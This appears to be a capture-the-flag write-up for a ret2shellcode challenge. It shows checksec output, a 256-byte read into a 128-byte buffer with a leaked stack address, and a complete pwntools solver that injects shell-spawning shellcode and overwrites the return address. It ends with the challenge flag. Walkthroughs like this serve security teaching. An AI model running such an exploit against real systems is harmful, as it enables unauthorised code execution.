ret2shellcode

Walkthrough

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

NX is disabled — the stack is executable! The binary also prints the buffer address:

printf("Hey, hacker! here is a small gift for u: %p\n", buf);
read(0, buf, 256);  // 256 bytes into 128-byte buffer

Strategy

1. Parse the leaked buffer address
2. Place shellcode in the buffer
3. Overflow RIP to point back to the buffer address

buf_addr = int(io.recvline().split(b'0x')[1], 16)
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (136 - len(shellcode)) + p64(buf_addr)

Result

Hey, hacker! here is a small gift for u: 0x7fffffffdc70
$ cat flag.txt
Securinets_fst{C0ngr4ts_2_U_St4ck_4buS3r_D4ddy_W0uld_B_Pr0ud}

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

# Set up the context
context.arch = 'amd64'
context.os = 'linux'

#p = process('./main')
p=remote("localhost",7007)
p.recvuntil(b'here is a small gift for u: ')
buffer_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer address: {hex(buffer_addr)}")

shellcode = asm(shellcraft.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")

# Build the payload
offset = 136
payload = b''
payload += shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buffer_addr)

# Send the payload
p.sendlineafter(b'Spill your guts: ', payload)

# Interact with the shell
log.success("Exploit sent! Dropping to shell...")
p.interactive()

Flag

Securinets_fst{C0ngr4ts_2_U_St4ck_4buS3r_D4ddy_W0uld_B_Pr0ud}